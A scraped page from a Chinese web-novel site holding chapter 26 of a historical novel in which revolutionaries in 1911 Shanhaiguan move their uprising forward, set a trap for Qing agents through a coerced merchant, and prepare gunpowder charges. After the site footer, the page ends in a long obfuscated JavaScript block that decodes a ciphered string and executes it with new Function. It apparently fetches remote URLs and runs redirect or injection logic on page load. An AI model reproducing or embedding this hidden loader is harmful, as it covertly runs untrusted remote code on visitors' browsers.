首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第0026章城西货栈与午时三刻

    宣统三年十月初十,山海关。
    天刚蒙蒙亮,城西货栈的后院里已经忙开了。
    这是一家专营关外皮毛、药材的货栈,门面不起眼,后院却极大,足足能停下十几辆大车。此刻,二十几个精壮汉子正围着三辆盖着油布的大车忙碌,有人检查车轴,有人给马匹钉掌,还有人用麻绳把车上的货物捆得更紧实些。
    账房先生周文谦站在屋檐下,手里捧着一本账册,看似在核对货物数目,眼睛却时不时瞟向货栈的大门。
    他在等沈砚之。
    昨天半夜沈砚之出城赴约,至今未归。按约定,最迟今早卯时(五点)就该回来。可现在已经是辰时(七点)了,还不见人影。
    周文谦的心一点点往下沉。
    “周先生。”铁匠赵大锤走过来,压低声音,“少东家还没回?”
    周文谦摇头。
    赵大锤那张被炉火常年熏烤的黑脸上肌肉抽动了一下:“要不,俺带人出去找找?”
    “再等等。”周文谦合上账册,“少东家做事有分寸,若是出事,也该有消息传回来。”
    话虽这么说,他自己心里也没底。城南土地庙的“取货”之约,城北十里铺的密会,还有朝廷调兵的消息……这一夜,变故太多了。
    正说着,货栈的侧门吱呀一声开了。
    一个穿着灰布短打的年轻人闪身进来,反手关上门,快步走到周文谦面前。是茶馆的伙计小顺子,才十六岁,机灵得很,平日里负责打探消息。
    “周先生,不好了。”小顺子喘着粗气,“守备衙门那边有动静。”
    “什么动静?”
    “天没亮就来了几个当官的,在衙门里吵了半天。我趴在墙根听,听见他们说……说‘城里要出事’,要‘加派人手’。”小顺子抹了把汗,“还有,南门守军的王把总被撤了,换了个姓徐的把总。就是昨天刚调来那个,袁世凯的人。”
    周文谦和赵大锤对视一眼,都看到了对方眼中的凝重。
    撤换城门守将,这是要控制进出通道。看来清廷已经嗅到了什么。
    “还有呢?”周文谦问。
    “还有……”小顺子犹豫了一下,“我早上在茶馆门口,看见两个人进了对面的绸缎庄。那两个人我认得,是衙门的暗探,专管抓革命党的。他们在绸缎庄待了一盏茶的工夫,出来时,绸缎庄的掌柜亲自送到门口,还塞了个包袱。”
    绸缎庄的掌柜姓吴,是山海关有名的富户,平日里跟官府走得近,但从不掺和是非。他怎么会和暗探扯上关系?
    “你看清包袱里是什么了吗?”赵大锤追问。
    “没看清,但挺沉的,像是……银元。”小顺子道,“那掌柜送走人后,脸色特别难看,关门歇业了。”
    周文谦的眉头皱得更紧了。
    买通?威胁?还是……
    “周先生!”又一个声音响起。
    众人回头,见是教习刘秉忠从后院的小门进来。这位五十多岁的老武师脚步沉稳,但脸上也带着急色。
    “老刘,怎么了?”
    “我刚从武馆过来。”刘秉忠走到近前,声音压得极低,“武馆被盯上了。巷子口多了两个卖糖葫芦的,眼睛却一直瞟着武馆大门。我让徒弟从后墙翻出去看,巷子那头还有两个,扮成乞丐。”
    武馆是沈砚之明面上的身份掩护,也是他们平日聚会议事的地方。如果武馆被盯上,说明朝廷已经怀疑到沈砚之头上。
    “少东家还没回来?”刘秉忠问。
    “没。”周文谦摇头,“老刘,你觉得……”
    他的话没说完,货栈的大门突然被敲响。
    不是正常的敲门声,而是三长两短的暗号。
    “少东家!”赵大锤眼睛一亮,快步过去开门。
    门开了,沈砚之闪身进来。他身上还是那件半旧的羊皮袄,但衣摆上沾满了露水和草屑,脸上带着疲惫,眼睛却亮得吓人。
    “少东家!”众人围上来。
    “进屋说。”沈砚之没有停留,径直走向货栈里间。
    这是间账房,陈设简单,只有一张桌子、几把椅子和一个铁皮柜子。沈砚之关上门,转身看着跟进来的三人:周文谦、赵大锤、刘秉忠。这是父亲留下的核心班底,也是他最信任的人。
    “时间改了。”沈砚之开口第一句话就让三人愣住,“起义,就在今晚亥时。”
    “今晚?!”刘秉忠失声道,“不是定在五天后吗?”
    “等不了了。”沈砚之把程振邦带来的消息说了一遍,“铁良的兵明天就到。如果今晚不动手,明天我们全得死。”
    屋里一片死寂。
    只有窗外货栈院子里,汉子们搬运货物的吆喝声隐约传来。
    “程振邦……可靠吗?”周文谦问出了最关键的问题。
    “我不知道。”沈砚之坦诚道,“但他有三千新军,这是我们现在唯一能抓住的机会。赌赢了,山海关就是我们的。赌输了……”
    他没有说下去,但众人都明白。
    “少东家既然决定了,俺们跟着干。”赵大锤第一个表态,拳头握得咯咯响,“大不了就是个死,总比窝窝囊囊让人宰了强。”
    刘秉忠沉默片刻,也点头:“武馆那边,我能拉出八十个徒弟,都是练过武、见过血的。”
    周文谦推了推眼镜,走到桌边,摊开一张手绘的山海关城防图:“如果今晚动手,我们需要重新部署。原先的计划是针对五天后,那时我们有时间慢慢渗透。现在只有一天……”
    “不,只有半天。”沈砚之道,“午时之前,我要知道城里所有清军的布防变化。未时之前,我们要确定起义的具体步骤。申时之前,消息要传达到每一个弟兄。酉时,所有人到位。戌时,检查武器。亥时……”
    他顿了顿,一字一句道:“举火为号,攻占城门。”
    “时间太紧了。”周文谦眉头紧锁,“而且还有个变数——城南土地庙,今晚亥时的‘取货’之约。如果那是朝廷的陷阱,我们在南门举事,岂不是自投罗网?”
    沈砚之走到窗边,看着院子里忙碌的汉子们。
    晨光已经洒满货栈,那些精壮的身影在光影中穿梭,汗水在古铜色的皮肤上闪闪发亮。这些人里,有铁匠铺的学徒,有茶馆的伙计,有码头的苦力,有武馆的徒弟……都是最底层的百姓,却愿意跟着他干掉脑袋的事。
    “所以,午时之前,我要知道土地庙那边到底是谁在搞鬼。”沈砚之转过身,眼神锐利,“周先生,绸缎庄吴掌柜那边,你亲自去一趟。”
    “我?”周文谦一愣。
    “你是读书人,跟他打过交道。”沈砚之道,“找个由头,去探探口风。如果他被威胁了,想法子把他拉过来。如果他已经投靠了朝廷……”
    他没有说完,但刘秉忠和赵大锤都明白了——如果是后者,吴掌柜就不能留了。
    “好,我这就去。”周文谦没有犹豫,转身就走。
    “老刘。”沈砚之看向刘秉忠,“武馆被盯上了,你想办法把盯梢的人引开。午时三刻,我要在武馆见所有头目。”
    “明白。”刘秉忠抱拳,“我让徒弟们在城里闹点动静,把狗引开。”
    “大锤。”沈砚之最后看向赵大锤,“你带几个信得过的弟兄,去南门附近转转。看看新换的那个徐把总,是个什么来路。还有,打听打听,今晚亥时,南门守军有没有什么异常安排。”
    “交给我。”赵大锤拍胸脯,“俺最会跟当兵的套近乎。”
    三人领命而去。
    账房里只剩下沈砚之一人。他走到铁皮柜前,打开锁,从最底层取出一个油布包。布包打开,里面是一面折叠整齐的旗帜——青天白日旗。
    布面已经有些褪色,但图案依然清晰。父亲把它交给他的那个夜晚,仿佛就在昨天。
    “爹。”沈砚之轻抚旗面,“今晚,儿子要让这面旗,插上山海关的城楼。”
    他把旗子重新包好,揣进怀里。
    然后走到桌边,摊开城防图,开始勾画今晚的行动路线。毛笔在宣纸上沙沙作响,一条条进攻路线、一个个关键节点逐渐清晰。
    窗外,日头渐渐升高。
    山海关的百姓们像往常一样开始一天的营生:卖早点的挑着担子沿街叫卖,商铺卸下门板开门营业,车马行的伙计赶着大车出城拉货……谁也不知道,这座平静了六百年的关城,即将迎来一场翻天覆地的血火之劫。
    ---
    午时初刻(上午十一点),绸缎庄。
    周文谦站在紧闭的店门前,抬头看了看招牌——“吴记绸缎庄”,五个鎏金大字在阳光下闪闪发光。这是山海关最老字号的绸缎庄,开了三代,掌柜吴守仁是城里有名的善人,逢年过节都会施粥舍药。
    但今天,店门紧闭,门板上贴了张红纸,写着“东家有喜,歇业一日”。
    周文谦没有敲门,而是绕到后巷,找到绸缎庄的后门。门也关着,但门缝里透出灯光,隐约还能听见说话声。
    他抬手,用特定的节奏敲了敲门。
    里面说话声停了。片刻后,门开了一条缝,露出半张憔悴的脸——正是吴掌柜。
    “周先生?”吴守仁愣了一下,连忙把门打开,“您怎么来了?快进来。”
    周文谦闪身进去。后院里堆满了布匹,几个伙计正忙着装箱,见掌柜带人进来,都停下手里的活计。
    “你们先出去。”吴守仁挥挥手,伙计们放下东西,默默退出院子。
    两人进了内堂。这里布置得雅致,墙上挂着字画,博古架上摆着瓷器,一看就是有钱人家的做派。但此刻,吴守仁却无心待客,他给周文谦倒了杯茶,自己却坐立不安。
    “吴掌柜,我看贵店今日歇业,可是有什么事?”周文谦端起茶杯,没有喝,只是看着吴守仁。
    吴守仁张了张嘴,欲言又止。他走到窗边,看了看外面,确定没人偷听,才转身压低声音:“周先生,您是个明白人,我也不瞒您。我……我摊上事了。”
    “哦?什么事能让吴掌柜如此慌张?”
    “衙门的人找上我了。”吴守仁的声音发颤,“他们说,城里有人要闹事,让我……让我当眼线。”
    周文谦心中一动,面上却不露声色:“闹事?这可是诛九族的大罪。吴掌柜答应了?”
    “我能不答应吗?”吴守仁苦笑,“他们说了,我要是不从,就按通匪论处。您知道的,我儿子在京城读书,明年要考举人……我不能连累他。”
    “他们让你做什么?”
    “就让我留意,最近城里有没有生面孔,有没有人大量采购粮食、药品,还有……”吴守仁顿了顿,“有没有人私下集会。”
    周文谦放下茶杯:“就这些?”
    “还有……”吴守仁的声音更低了,“他们说,今晚亥时,让我去城南土地庙一趟,说是……‘取货’。”
    果然。
    周文谦的指尖微微发凉。土地庙的“取货”之约,果然是朝廷设的局。而吴掌柜,是被胁迫的棋子。
    “吴掌柜打算去吗?”
    “我能不去吗?”吴守仁瘫坐在椅子上,双手捂着脸,“周先生,您说我该怎么办?我就是个做生意的,不想掺和这些事啊……”
    周文谦看着这个平日里风光无限的富商,此刻却像只待宰的羔羊。他忽然想起沈砚之的话:“如果他被威胁了,想法子把他拉过来。”
    “吴掌柜。”周文谦缓缓开口,“你可知道,他们要你取的‘货’是什么?”
    吴守仁摇头:“没说,只说去了就知道。”
    “那我告诉你。”周文谦身体前倾,声音压得极低,“那不是货,是陷阱。今晚亥时,所有去土地庙的人,都会被当成乱党抓起来。轻则杀头,重则株连。”
    吴守仁的脸瞬间惨白:“什……什么?”
    “你想想,他们为什么不找别人,偏偏找你?因为你吴家三代经商,人脉广,认识的人多。他们要借你的名义,把那些他们怀疑的人引出来,一网打尽。”周文谦继续加码,“到时候,你就是从犯。就算你能活命,你儿子的前程也完了。”
    “砰”的一声,吴守仁手里的茶杯掉在地上,摔得粉碎。
    他站起来,在屋里来回踱步,额头冷汗涔涔:“那……那我怎么办?跑?可我这一大家子……”
    “跑不了。”周文谦摇头,“城门已经换防,进出都要严查。你现在跑,等于承认心里有鬼。”
    “那……那……”
    “吴掌柜,事到如今,你只有一条路。”周文谦站起身,走到他面前,“站在我们这边。”
    吴守仁猛地抬头,眼中尽是惊恐:“你……你们……”
    “对。”周文谦坦然承认,“我们就是要闹事。但不是为了私利,是为了驱除鞑虏,恢复中华。吴掌柜,你读过书,该知道这朝廷已经烂到根子里了。割地赔款,镇压维新,残害学生……这样的朝廷,还值得效忠吗?”
    吴守仁嘴唇哆嗦着,说不出话。
    “今晚亥时,山海关要变天了。”周文诚盯着他的眼睛,“你要么站在朝廷那边,当他们的替死鬼。要么站在我们这边,搏一个前程。选吧。”
    内堂里静得可怕。
    只有远处街上传来的叫卖声,隐约飘进窗户。
    许久,吴守仁长长吐出一口气,像是用尽了全身力气。
    “周先生。”他声音嘶哑,“我需要……做什么?”
    周文谦笑了。
    他从怀中掏出一张纸条,递给吴守仁:“今晚酉时(下午五点),你照常去土地庙。但去之前,把这个交给接头的人。”
    吴守仁接过纸条,展开一看,上面写着一个地址:城西货栈。
    “这是……”
    “这是他们想找的地方。”周文谦道,“你告诉他们,今晚酉时,乱党的头目会在货栈密会。让他们带人去抓。”
    吴守仁手一抖:“这……这不是出卖你们吗?”
    “不。”周文谦眼中闪过寒光,“这是请君入瓮。”
    ---
    午时三刻,武馆。
    沈砚之坐在正厅的太师椅上,看着陆续赶来的十几个人。这些都是各个行当的头目:铁匠行的、码头帮的、脚夫会的、甚至还有两个衙门里的小吏。
    人齐了,刘秉忠关上门,守在门口。
    “诸位。”沈砚之站起身,“废话不多说,我就问一句:今晚亥时,干不干?”
    屋里一片寂静。
    一个满脸横肉的汉子最先开口:“干!老子早就受够了那些八旗老爷的气!”
    “对!干!”
    “少东家说怎么干,我们就怎么干!”
    群情激奋。
    沈砚之抬手,众人安静下来。
    “好。”他走到墙边,掀开一块布帘,露出后面的城防图,“那我说说今晚的布置……”
    他的声音不高,却字字清晰。每一个进攻目标,每一支队伍的任务,每一个时间节点,都交代得明明白白。众人听得屏息凝神,眼睛越来越亮。
    等到说完,已经是未时(下午一点)了。
    “都听明白了吗?”沈砚之问。
    “明白了!”
    “好,各自回去准备。记住,戌时(晚上七点)之前,所有人必须到位。亥时整,南门举火为号。”
    众人抱拳,鱼贯而出。
    最后走的,是那个满脸横肉的汉子——码头帮的帮主,外号“混江龙”。他走到沈砚之面前,压低声音:“少东家,有件事,我觉得该告诉你。”
    “说。”
    “今天早上,我在码头看见几个生面孔。”混江龙道,“穿着普通,但手上没茧子,走路腰板挺得笔直,像是……当兵的。他们在打听,最近有没有大批货物进出城。”
    沈砚之眼神一凝:“什么时候的事?”
    “辰时左右(早上七点到九点)。”混江龙道,“我问了手下的弟兄,说那些人后来往守备衙门方向去了。”
    清廷的探子,已经在摸底了。
    “知道了。”沈砚之点头,“今晚码头那边,你多留点心。如果有异常,立刻派人通知我。”
    “放心吧少东家,码头是咱的地盘。”
    混江龙走后,正厅里只剩下沈砚之和刘秉忠。
    “少东家。”刘秉忠走到窗边,看着外面空无一人的巷子,“盯梢的人被我徒弟引到城东去了,一时半会儿回不来。但我觉得……太安静了。”
    沈砚之也走到窗边。
    午后的阳光斜斜照进巷子,青石板路上一个人影都没有。连平日里在巷口玩耍的孩子都不见了。
    确实,安静得反常。
    “暴风雨前的宁静。”沈砚之轻声道,“老刘,今晚……可能会死很多人。”
    刘秉忠沉默片刻,忽然笑了:“少东家,我今年五十三了。三十年前,我跟着沈老将军打过长毛(太平军);二十年前,我跟着他在朝鲜打过日本鬼子。这双手,沾过不少血。能活到今天,已经是赚了。”
    他转过身,看着沈砚之:“今晚,老刘这条命,就交给少东家了。”
    沈砚之看着这位父亲留下的老部下,忽然深深一揖。
    “老刘,拜托了。”
    刘秉忠连忙扶住他:“少东家折煞老朽了。该做的准备我都做了,武馆八十个徒弟,都是好样的。”
    正说着,门外传来急促的脚步声。
    赵大锤推门进来,脸色铁青。
    “少东家,打听清楚了。”他喘着粗气,“那个徐把总……是袁世凯小站练兵时的亲兵,心狠手辣。今晚亥时,南门守军全部换成他的人。还有……”
    他顿了顿,咬牙道:“他还调了一挺马克沁机枪,就架在南门城楼上。”
    马克沁机枪。
    沈砚之的心沉到了谷底。那是这个时代最恐怖的杀人机器,一分钟能打出六百发子弹。一挺机枪,足以封锁整条街道。
    如果起义的队伍撞上那挺机枪……
    “消息可靠吗?”刘秉忠急问。
    “可靠。”赵大锤道,“是俺一个在衙门当差的远房表哥说的。他今天被抽调到南门帮忙搬弹药,亲眼看见的。”
    沈砚之闭上眼睛。
    片刻后,他睁开眼,眼中已经没有了犹豫。
    “计划不变。”他声音冷静得可怕,“但进攻路线要改。我们不从南门正面强攻,从两侧的民居穿过去,绕到城楼下面。用炸药,把城门炸开。”
    “炸药?”刘秉忠一愣,“我们哪有炸药?”
    “有。”沈砚之看向赵大锤,“大锤,你铁匠铺里,不是存了一批开山用的火药吗?”
    “有是有,但那是黑火药,威力不够炸城门啊。”
    “不够就多放。”沈砚之道,“用油布包起来,做成炸药包。二十个不够就三十个,三十个不够就五十个。今晚亥时之前,必须准备好。”
    赵大锤一咬牙:“行!俺这就去弄!”
    他转身要走,又被沈砚之叫住。
    “还有一件事。”沈砚之从怀里掏出一张银票,“拿着,去买酒买肉。今晚起义前,让弟兄们吃饱喝足。”
    赵大锤接过银票,看了眼面额——一百两。这是沈砚之最后的一点积蓄了。
    “少东家……”
    “去吧。”沈砚之摆手,“记得,酉时之前,炸药必须到位。”
    赵大锤重重抱拳,大步离去。
    正厅里又只剩下两人。
    窗外,日头已经开始西斜。
    距离亥时,还有四个时辰。
    山海关的命运,将在今夜决定。
    (第0026章完,字数:4968)
    ---
    【下章预告】酉时的城西货栈暗藏杀机,清廷暗探中计入瓮。戌时,起义队伍秘密集结,沈砚之做最后动员。亥时将至,南门城楼上的马克沁机枪已经上膛,而沈砚之的炸药包也已就位。烽火将燃,第一枪即将打响。

一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();